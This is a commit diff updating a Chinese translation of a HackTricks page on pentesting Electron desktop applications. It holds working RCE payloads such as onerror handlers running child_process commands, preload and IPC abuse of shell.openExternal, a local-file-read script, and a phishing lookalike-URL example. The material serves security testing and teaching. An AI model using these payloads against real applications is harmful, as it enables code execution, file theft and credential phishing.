mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
6f160a9215
commit
4ee9b2ab97
@ -4,14 +4,14 @@
|
|||||||
|
|
||||||
## 介绍
|
## 介绍
|
||||||
|
|
||||||
Electron 将本地后端(使用 **NodeJS**)与前端(**Chromium**)结合在一起,但它缺少现代浏览器的一些安全机制。
|
Electron 将本地后端(使用 **NodeJS**)与前端(**Chromium**)结合,但它缺乏现代浏览器的一些安全机制。
|
||||||
|
|
||||||
通常你可能会在一个 `.asar` 应用中找到 Electron 应用的代码,为了获取这些代码你需要将其提取:
|
通常你会在 `.asar` 应用内找到 electron 应用代码,要获取这些代码需要将其提取:
|
||||||
```bash
|
```bash
|
||||||
npx asar extract app.asar destfolder #Extract everything
|
npx asar extract app.asar destfolder #Extract everything
|
||||||
npx asar extract-file app.asar main.js #Extract just a file
|
npx asar extract-file app.asar main.js #Extract just a file
|
||||||
```
|
```
|
||||||
在 Electron 应用的源代码里,`packet.json` 中会指定 `main.js`,安全配置就在该文件中设置。
|
在 Electron 应用的源代码中,在 `packet.json` 内,可以找到指定的 `main.js` 文件,其中设置了安全配置。
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "standard-notes",
|
"name": "standard-notes",
|
||||||
@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file
|
|||||||
```
|
```
|
||||||
Electron 有两种进程类型:
|
Electron 有两种进程类型:
|
||||||
|
|
||||||
- 主进程(可以完全访问 NodeJS)
|
- 主进程(拥有对 NodeJS 的完全访问权限)
|
||||||
- 渲染进程(出于安全原因应限制对 NodeJS 的访问)
|
- 渲染进程(出于安全原因应限制对 NodeJS 的访问)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
一个**渲染进程**将是一个加载文件的浏览器窗口:
|
一个 **渲染进程** 将是一个加载文件的浏览器窗口:
|
||||||
```javascript
|
```javascript
|
||||||
const { BrowserWindow } = require("electron")
|
const { BrowserWindow } = require("electron")
|
||||||
let win = new BrowserWindow()
|
let win = new BrowserWindow()
|
||||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
|||||||
//Open Renderer Process
|
//Open Renderer Process
|
||||||
win.loadURL(`file://path/to/index.html`)
|
win.loadURL(`file://path/to/index.html`)
|
||||||
```
|
```
|
||||||
可以在 main.js 文件内的 **主进程** 中 **配置** **渲染进程** 的设置。如果 **设置正确配置**,其中一些配置可以 **防止 Electron 应用遭受 RCE** 或其他漏洞利用。
|
Settings of the **渲染进程** can be **配置** in the **主进程** inside the main.js file. Some of the configurations will **防止 Electron 应用遭受 RCE** or other vulnerabilities if the **设置正确配置**。
|
||||||
|
|
||||||
Electron 应用虽然可以通过 Node API 访问设备,但可以通过配置来阻止:
|
The Electron application **可以通过 Node apis 访问设备**,尽管可以通过配置来防止:
|
||||||
|
|
||||||
- **`nodeIntegration`** - 默认为 `off`。如果为 on,则允许从渲染进程访问 Node 功能。
|
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the 渲染进程。
|
||||||
- **`contextIsolation`** - 默认为 `on`。如果为 off,主进程和渲染进程不会被隔离。
|
- **`contextIsolation`** - is `on` by default. If off, 主进程 和 渲染进程 不会被隔离。
|
||||||
- **`preload`** - 默认为空。
|
- **`preload`** - empty by default.
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认为 off。它会限制 NodeJS 可以执行的操作。
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
|
||||||
- Node Integration in Workers
|
- Workers 中的 Node Integration
|
||||||
- **`nodeIntegrationInSubframes`**- 默认为 `off`。
|
- **`nodeIntegrationInSubframes`** - is `off` by default.
|
||||||
- 如果 **`nodeIntegration`** 被 **enabled**,这将允许在 Electron 应用中加载到 **iframes** 的网页中使用 **Node.js APIs**。
|
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **在 iframes 中加载的** within an Electron application.
|
||||||
- 如果 **`nodeIntegration`** 被 **disabled**,则 preload 会在 iframe 中加载
|
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||||
|
|
||||||
Example of configuration:
|
Example of configuration:
|
||||||
```javascript
|
```javascript
|
||||||
@ -71,7 +71,7 @@ spellcheck: true,
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
来自 [here](https://7as.es/electron/nodeIntegration_rce.txt) 的一些 **RCE payloads**:
|
||||||
```html
|
```html
|
||||||
Example Payloads (Windows):
|
Example Payloads (Windows):
|
||||||
<img
|
<img
|
||||||
@ -97,13 +97,14 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
|||||||
```
|
```
|
||||||
### 捕获流量
|
### 捕获流量
|
||||||
|
|
||||||
修改 start-main 配置,并添加 proxy,例如:
|
修改 start-main 配置并添加对 proxy 的使用,例如:
|
||||||
```javascript
|
```javascript
|
||||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||||
```
|
```
|
||||||
## Electron Local Code Injection
|
## Electron Local Code Injection
|
||||||
|
|
||||||
如果你可以在本地执行一个 Electron App,可能使其执行任意 javascript 代码。查看:
|
如果你能在本地执行一个 Electron App,可能让它执行任意 javascript 代码。请参见:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||||
@ -111,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
|||||||
|
|
||||||
## RCE: XSS + nodeIntegration
|
## RCE: XSS + nodeIntegration
|
||||||
|
|
||||||
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 只需调用 `require()` 就能轻易使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方法是:
|
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方法是:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
require("child_process").exec("calc")
|
require("child_process").exec("calc")
|
||||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
|||||||
|
|
||||||
## RCE: preload
|
## RCE: preload
|
||||||
|
|
||||||
该设置中指定的脚本在 **renderer 中比其他脚本更早加载**,因此它对 **Node APIs** 拥有 **无限访问权限**:
|
该设置中指定的脚本会**在 renderer 的其他脚本之前加载**,因此它**对 Node APIs 具有无限访问权**:
|
||||||
```javascript
|
```javascript
|
||||||
new BrowserWindow{
|
new BrowserWindow{
|
||||||
webPreferences: {
|
webPreferences: {
|
||||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
因此,该脚本可以将 node-features 导出到页面:
|
因此,该脚本可以将 node-features 导出到 pages:
|
||||||
```javascript:preload.js
|
```javascript:preload.js
|
||||||
typeof require === "function"
|
typeof require === "function"
|
||||||
window.runCalc = function () {
|
window.runCalc = function () {
|
||||||
@ -148,20 +149,20 @@ runCalc()
|
|||||||
</script>
|
</script>
|
||||||
</body>
|
</body>
|
||||||
```
|
```
|
||||||
> [!NOTE] > **如果 `contextIsolation` 被启用,则此方法不起作用**
|
> [!NOTE] > **如果 `contextIsolation` 已启用,则此方法无效**
|
||||||
|
|
||||||
## RCE: XSS + contextIsolation
|
## RCE: XSS + contextIsolation
|
||||||
|
|
||||||
The _**contextIsolation**_ 在网页脚本与 Electron 的内部 JavaScript 代码之间引入了**隔离的执行上下文**,使得各自的 JavaScript 执行互不影响。这是消除 RCE 可能性所必需的功能。
|
_**contextIsolation**_ 引入了 **网页脚本与 Electron 内部 JavaScript 代码之间的隔离上下文**,使各自的 JavaScript 执行互不影响。这是消除 RCE 可能性的必要功能。
|
||||||
|
|
||||||
如果上下文没有被隔离,攻击者可以:
|
如果上下文未隔离,攻击者可以:
|
||||||
|
|
||||||
1. 执行 **任意 JavaScript 在 renderer 中**(XSS 或导航到外部站点)
|
1. 执行 **在 renderer 中的任意 JavaScript**(XSS 或导航到外部站点)
|
||||||
2. **覆盖内建方法**,该方法被用于 preload 或 Electron 的内部代码,从而控制该函数
|
2. **覆盖内置方法**,该方法在 preload 或 Electron 内部代码中被使用以劫持功能
|
||||||
3. **触发** 对 **已被覆盖的函数** 的调用
|
3. **触发** 被 **覆盖的函数** 的使用
|
||||||
4. RCE?
|
4. RCE?
|
||||||
|
|
||||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
有两个可以覆盖内置方法的地方:preload 代码或 Electron 内部代码:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -180,22 +181,22 @@ electron-contextisolation-rce-via-ipc.md
|
|||||||
|
|
||||||
### 绕过点击事件
|
### 绕过点击事件
|
||||||
|
|
||||||
如果在点击链接时有施加限制,你可以尝试通过 **使用中键点击** 而不是常规的左键点击来绕过这些限制
|
如果在点击链接时存在限制,你可能可以通过 **中键点击**(而不是常规的左键点击)来绕过它们
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener('click', (e) => {
|
window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
## 通过 shell.openExternal 的 RCE
|
## 通过 shell.openExternal 的 RCE
|
||||||
|
|
||||||
有关此示例的更多信息,请参阅 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||||
|
|
||||||
在部署 Electron 桌面应用时,确保 `nodeIntegration` 和 `contextIsolation` 的正确配置至关重要。已确定:配置这些设置后,可以有效防止来自主进程针对 preload scripts 或 Electron 的本机代码的 **client-side remote code execution (RCE)**。
|
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的设置正确至关重要。已经确认,启用这些设置可以有效阻止针对 preload scripts 或来自主进程的 Electron 原生代码的 **client-side remote code execution (RCE)**。
|
||||||
|
|
||||||
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对于应用的安全性和功能至关重要:
|
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用的安全性和功能性至关重要:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
```
|
```
|
||||||
这些监听器被桌面应用程序**重写**以实现其**业务逻辑**。应用程序会评估被导航到的链接是应该在应用内打开还是在外部浏览器中打开。通常通过名为 `openInternally` 的函数来做出此决定。如果该函数返回 `false`,则表示应当在外部打开该链接,使用 `shell.openExternal` 函数。
|
这些监听器被桌面应用程序**覆盖**以实现其自身的**业务逻辑**。应用会评估导航的链接应在应用内部打开还是在外部浏览器中打开。该决定通常通过函数 `openInternally` 做出。如果此函数返回 `false`,则表示该链接应在外部打开,使用 `shell.openExternal` 函数。
|
||||||
|
|
||||||
**下面是简化的伪代码:**
|
**下面是简化的伪代码:**
|
||||||
|
|
||||||
@ -203,7 +204,7 @@ webContents.on("will-navigate", function (event, url) {}
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Electron JS 的安全最佳实践建议不要用 `openExternal` 接受不受信任的内容,因为这可能通过各种协议导致 RCE(远程代码执行)。不同的操作系统支持可能触发 RCE 的不同协议。有关详细示例和进一步说明,请参见 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括可用于利用此漏洞的 Windows 协议示例。
|
Electron JS 安全最佳实践建议不要通过 `openExternal` 接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议,可能触发 RCE。有关此主题的详细示例和进一步说明,请参考 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包含可利用该漏洞的 Windows 协议示例。
|
||||||
|
|
||||||
在 macos 中,`openExternal` 函数可以被利用来执行任意命令,例如 `shell.openExternal('file:///System/Applications/Calculator.app')`。
|
在 macos 中,`openExternal` 函数可以被利用来执行任意命令,例如 `shell.openExternal('file:///System/Applications/Calculator.app')`。
|
||||||
|
|
||||||
@ -227,17 +228,17 @@ window.open(
|
|||||||
)
|
)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## RCE: webviewTag + 存在漏洞的 preload IPC + shell.openExternal
|
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||||
|
|
||||||
这个漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
|
该漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
|
||||||
|
|
||||||
**webviewTag** 是一个 **已弃用的功能**,允许在 **renderer process** 中使用 **NodeJS**,应该禁用它,因为它允许在 preload context 中加载脚本,例如:
|
The **webviewTag** 是一个 **已弃用的特性**,允许在 **renderer process** 中使用 **NodeJS**,应当禁用,因为它允许在 **preload context** 中加载脚本,例如:
|
||||||
```xml
|
```xml
|
||||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||||
```
|
```
|
||||||
因此,能够加载任意页面的攻击者可以利用该标签来 **load an arbitrary preload script**。
|
因此,攻击者如果成功加载任意页面,可以利用该标签来**load an arbitrary preload script**。
|
||||||
|
|
||||||
这个 preload script 随后被滥用来调用一个 **vulnerable IPC service (`skype-new-window`)**,该服务调用调用 **`shell.openExternal`** 来获得 RCE:
|
该 preload script 随后被滥用去调用一个**vulnerable IPC service (`skype-new-window`)**,该服务会调用 **`shell.openExternal`** 从而获得 RCE:
|
||||||
```javascript
|
```javascript
|
||||||
(async() => {
|
(async() => {
|
||||||
const { ipcRenderer } = require("electron");
|
const { ipcRenderer } = require("electron");
|
||||||
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
|||||||
}, 5000);
|
}, 5000);
|
||||||
})();
|
})();
|
||||||
```
|
```
|
||||||
## 读取内部文件:XSS + contextIsolation
|
## 阅读内部文件:XSS + contextIsolation
|
||||||
|
|
||||||
**禁用 `contextIsolation` 允许使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取并 exfiltrating 本地文件。下面的示例演示如何利用此漏洞读取内部文件的内容:
|
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取并 exfiltrating 本地文件。下面的示例演示了如何利用此漏洞读取内部文件的内容:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
此外,还提供了另一种**读取内部文件**的方法,指出了 Electron 桌面应用中一个严重的本地文件读取漏洞。该方法通过注入脚本来利用应用并 exfiltrate 数据:
|
此外,还分享了另一种**读取内部文件**的方法,强调了 Electron 桌面应用中的一个关键本地文件读取漏洞。该方法涉及注入脚本以利用应用并 exfiltrate 数据:
|
||||||
```html
|
```html
|
||||||
<br /><br /><br /><br />
|
<br /><br /><br /><br />
|
||||||
<h1>
|
<h1>
|
||||||
@ -270,23 +271,23 @@ frames[0].document.body.innerText
|
|||||||
</script>
|
</script>
|
||||||
</h1>
|
</h1>
|
||||||
```
|
```
|
||||||
## **RCE: XSS + 过时的 Chromium**
|
## **RCE: XSS + 旧 Chromium**
|
||||||
|
|
||||||
如果应用使用的 **chromium** 是 **过时的** 并且上面存在 **已知** 的 **漏洞**,就可能通过 XSS **利用它并获得 RCE**。\
|
如果应用使用的 **chromium** 版本 **较旧** 且存在 **已知的** **漏洞**,那么可能可以**利用它并通过 XSS 获得 RCE**。\
|
||||||
你可以在这个 **writeup** 中看到一个示例: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
你可以在这篇 **writeup** 中看到一个示例: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||||
|
|
||||||
## **XSS Phishing via Internal URL regex bypass**
|
## **XSS Phishing via Internal URL regex bypass**
|
||||||
|
|
||||||
假设你发现了一个 XSS,但你 **无法触发 RCE 或窃取内部文件**,你可以尝试利用它通过钓鱼 **窃取凭证**。
|
假设你发现了 XSS,但**无法触发 RCE 或窃取内部文件**,你可以尝试利用它**通过 phishing 窃取凭证**。
|
||||||
|
|
||||||
首先,你需要了解当你尝试打开一个新 URL 时会发生什么,检查前端的 JS 代码:
|
首先你需要了解当尝试打开一个新 URL 时会发生什么,检查前端的 JS 代码:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||||
```
|
```
|
||||||
对 **`openInternally`** 的调用会决定该 **link** 是否会作为属于平台的链接在 **桌面窗口** 中 **打开**,**或** 是否会在 **浏览器(作为第三方资源)** 中 **打开**。
|
对 **`openInternally`** 的调用会决定该 **link** 是否会在 **desktop window** 中 **opened**(因为它属于平台的链接),**or** 是否会在 **browser as a 3rd party resource** 中打开。
|
||||||
|
|
||||||
在函数使用的 **regex** 存在 **vulnerable to bypasses** 的情况下(例如 **not escaping the dots of subdomains**),攻击者可以滥用 **XSS** 来 **打开一个新窗口**,该窗口将位于攻击者的基础设施中,向用户 **asking for credentials**:
|
如果该函数使用的 **regex** 存在 **vulnerable to bypasses**(例如 **not escaping the dots of subdomains**),攻击者可能会滥用 XSS 来 **open a new window which**,该窗口部署在攻击者的基础设施中,用来向用户 **asking for credentials**:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
@ -294,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
|||||||
```
|
```
|
||||||
## `file://` 协议
|
## `file://` 协议
|
||||||
|
|
||||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 页面运行在 **`file://`** 的页面可以单方面访问你机器上的所有文件,这意味着 **XSS issues can be used to load arbitrary files** 从用户的机器加载任意文件。使用 **custom protocol** 可以防止此类问题,因为你可以将协议限制为只提供特定的一组文件。
|
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||||
|
|
||||||
## Remote 模块
|
## Remote 模块
|
||||||
|
|
||||||
The Electron Remote module 允许 **渲染进程访问主进程的 API**,方便 Electron 应用内部的通信。然而,启用该模块会引入严重的安全风险。它扩大了应用的攻击面,使其更容易受到诸如 跨站脚本 (XSS) 等漏洞的影响。
|
Electron 的 Remote 模块允许 **渲染进程访问主进程的 API**,以便在 Electron 应用内进行通信。然而,启用此模块会引入重大的安全风险。它扩大了应用的攻击面,使其更容易受到诸如跨站脚本 (XSS) 攻击等漏洞的影响。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 虽然 **remote** 模块会将一些 API 从主进程暴露给渲染进程,但仅仅滥用这些组件并不容易直接获得 RCE。然而,这些组件可能会暴露敏感信息。
|
> 虽然 **remote** 模块将一些主进程的 API 暴露给渲染进程,但仅仅滥用这些组件并不容易直接获得 RCE。不过,这些组件可能会暴露敏感信息。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 许多仍然使用 remote 模块的应用以需要在渲染进程中启用 **NodeIntegration** 的方式使用它,这是一项 **巨大的安全风险**。
|
> 许多仍使用 remote 模块的应用常以需要在渲染进程中启用 **NodeIntegration** 的方式使用它,这是一项 **巨大的安全风险**。
|
||||||
|
|
||||||
自 Electron 14 起,Electron 的 `remote` 模块可能在多个步骤中被启用,但基于安全和性能的原因,**建议不要使用它**。
|
自 Electron 14 起,`remote` 模块可能在若干步骤中被启用;出于安全和性能原因,**建议不要使用它**。
|
||||||
|
|
||||||
要启用它,首先需要在主进程中**启用它**:
|
要启用该模块,首先需要在主进程中**启用它**:
|
||||||
```javascript
|
```javascript
|
||||||
const remoteMain = require('@electron/remote/main')
|
const remoteMain = require('@electron/remote/main')
|
||||||
remoteMain.initialize()
|
remoteMain.initialize()
|
||||||
@ -319,37 +320,37 @@ mainWindow = new BrowserWindow({
|
|||||||
})
|
})
|
||||||
remoteMain.enable(mainWindow.webContents)
|
remoteMain.enable(mainWindow.webContents)
|
||||||
```
|
```
|
||||||
然后,渲染进程可以像下面这样从模块中导入对象:
|
然后,渲染进程可以像下面这样从该模块导入对象:
|
||||||
```javascript
|
```javascript
|
||||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||||
```
|
```
|
||||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 指出来自 remote module 的对象 **`app`** 暴露了一些有趣的 **函数**:
|
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indicates some interesting **functions** exposed by the object **`app`** from the remote module:
|
||||||
|
|
||||||
- **`app.relaunch([options])`**
|
- **`app.relaunch([options])`**
|
||||||
- **重启** 应用程序,通过 **退出** 当前实例并 **启动** 新实例。对 **应用更新** 或重大的 **状态更改** 非常有用。
|
- 通过退出当前实例并启动新实例来重启应用。适用于 app 更新或重大状态变更。
|
||||||
- **`app.setAppLogsPath([path])`**
|
- **`app.setAppLogsPath([path])`**
|
||||||
- **定义**或**创建**用于存储**应用日志**的目录。可以使用 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 来**检索**或**修改**这些日志。
|
- 定义或创建用于存储 app logs 的目录。可以使用 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 来检索或修改这些日志。
|
||||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||||
- **将**当前可执行文件注册为指定**协议**的**默认处理程序**。如有需要,可以提供**自定义路径**和**参数**。
|
- 将当前可执行文件注册为指定协议的默认处理程序。必要时可以提供自定义路径和参数。
|
||||||
- **`app.setUserTasks(tasks)`**
|
- **`app.setUserTasks(tasks)`**
|
||||||
- **向** **Jump List** 的 **Tasks category** 添加任务(在 Windows 上)。每个任务可以控制应用如何**启动**或传递哪些**参数**。
|
- 向 **Tasks** 类别的 **Jump List**(Windows)添加任务。每个任务可以控制 app 的启动方式或传递哪些参数。
|
||||||
- **`app.importCertificate(options, callback)`**
|
- **`app.importCertificate(options, callback)`**
|
||||||
- **将**PKCS#12 证书导入系统的**证书存储**(仅限 Linux)。可以使用**回调**来处理结果。
|
- 将 **PKCS#12 certificate** 导入系统的证书存储(仅 Linux)。可以使用回调来处理结果。
|
||||||
- **`app.moveToApplicationsFolder([options])`**
|
- **`app.moveToApplicationsFolder([options])`**
|
||||||
- **将**应用移动到 **Applications folder**(在 macOS 上)。有助于确保 Mac 用户的**标准安装**。
|
- 将应用移动到 **Applications folder**(macOS)。有助于为 Mac 用户确保标准安装位置。
|
||||||
- **`app.setJumpList(categories)`**
|
- **`app.setJumpList(categories)`**
|
||||||
- **设置**或**移除** Windows 上的**自定义 Jump List**。可以指定**categories** 来组织任务在用户界面中的显示方式。
|
- 在 Windows 上设置或移除自定义 **Jump List**。你可以指定 **categories** 来组织任务如何显示给用户。
|
||||||
- **`app.setLoginItemSettings(settings)`**
|
- **`app.setLoginItemSettings(settings)`**
|
||||||
- **配置**哪些**可执行文件**在**登录**时启动以及它们的**选项**(仅限 macOS 和 Windows)。
|
- 配置哪些可执行文件随登录启动及其选项(仅 macOS 和 Windows)。
|
||||||
|
|
||||||
Example:
|
示例:
|
||||||
```javascript
|
```javascript
|
||||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||||
Native.app.exit()
|
Native.app.exit()
|
||||||
```
|
```
|
||||||
## systemPreferences 模块
|
## systemPreferences module
|
||||||
|
|
||||||
这是 Electron 中用于访问系统偏好设置和**触发系统事件**的**主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的方法都是**该模块的一部分**。
|
**主要 API**,用于在 Electron 中访问系统偏好设置并**发出系统事件**。像 **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, 和 **setUserDefault** 都是该模块的**一部分**。
|
||||||
|
|
||||||
**示例用法:**
|
**示例用法:**
|
||||||
```javascript
|
```javascript
|
||||||
@ -366,33 +367,30 @@ console.log('Recent Places:', recentPlaces);
|
|||||||
```
|
```
|
||||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||||
|
|
||||||
* **监听** 使用 NSDistributedNotificationCenter 的 **native macOS notifications**。
|
* **侦听** 使用 NSDistributedNotificationCenter 的 **原生 macOS 通知**。
|
||||||
* 在 **macOS Catalina** 之前,可以通过向 CFNotificationCenterAddObserver 传递 **nil** 来嗅探 **所有** 分发的通知。
|
* 在 **macOS Catalina** 之前,你可以通过向 CFNotificationCenterAddObserver 传递 **nil** 来嗅探 **所有** 分发的通知。
|
||||||
* 在 **Catalina / Big Sur** 之后,沙盒化应用仍然可以通过按名称注册通知来**订阅**许多事件(例如 **screen locks/unlocks**、**volume mounts**、**network activity** 等)。
|
* 在 **Catalina / Big Sur** 之后,沙箱化应用仍然可以通过按名称注册通知来 **订阅** 许多事件(例如 **屏幕锁定/解锁**、**挂载卷**、**网络活动** 等)。
|
||||||
|
|
||||||
### **getUserDefault / setUserDefault**
|
### **getUserDefault / setUserDefault**
|
||||||
|
|
||||||
* **与 NSUserDefaults 交互**,NSUserDefaults 在 macOS 上存储**application**或**global**偏好设置。
|
* 与 **NSUserDefaults** 交互,NSUserDefaults 在 macOS 上存储 **应用** 或 **全局** 首选项。
|
||||||
|
* **getUserDefault** 可以 **检索** 敏感信息,例如 **最近的文件位置** 或 **用户的地理位置**。
|
||||||
* **getUserDefault** 可以**检索**敏感信息,例如 **recent file locations** 或 **user’s geographic location**。
|
* **setUserDefault** 可以 **修改** 这些首选项,可能会影响应用的 **配置**。
|
||||||
|
* 在 **早期的 Electron 版本**(v8.3.0 之前),只有 NSUserDefaults 的 **标准套件** 可被访问。
|
||||||
* **setUserDefault** 可以**修改**这些偏好,可能影响应用的**configuration**。
|
|
||||||
|
|
||||||
* 在 **older Electron versions**(v8.3.0 之前),只有 NSUserDefaults 的**standard suite**可**访问**。
|
|
||||||
|
|
||||||
## Shell.showItemInFolder
|
## Shell.showItemInFolder
|
||||||
|
|
||||||
此函数在文件管理器中显示给定的文件,该操作**could automatically execute the file**。
|
此函数在文件管理器中显示给定文件,该操作可能会 **自动执行该文件**。
|
||||||
|
|
||||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||||
|
|
||||||
## Content Security Policy
|
## Content Security Policy
|
||||||
|
|
||||||
Electron 应用应该有 **Content Security Policy (CSP)** 以**prevent XSS attacks**。**CSP** 是一项**security standard**,有助于**prevent**浏览器中**execution**不受信任的代码。
|
Electron 应用应该有一个 **Content Security Policy (CSP)** 来 **防止 XSS 攻击**。**CSP** 是一项 **安全标准**,有助于 **阻止** 浏览器中 **不受信任代码的执行**。
|
||||||
|
|
||||||
通常在 **`main.js`** 文件或 **`index.html`** 模板中配置 CSP,CSP 放在 **meta tag** 内。
|
通常在 **`main.js`** 文件或 **`index.html`** 模板中配置,将 CSP 放在 **meta 标签** 内。
|
||||||
|
|
||||||
For more information check:
|
更多信息请参见:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -400,18 +398,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
## **Tools**
|
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||||
|
|
||||||
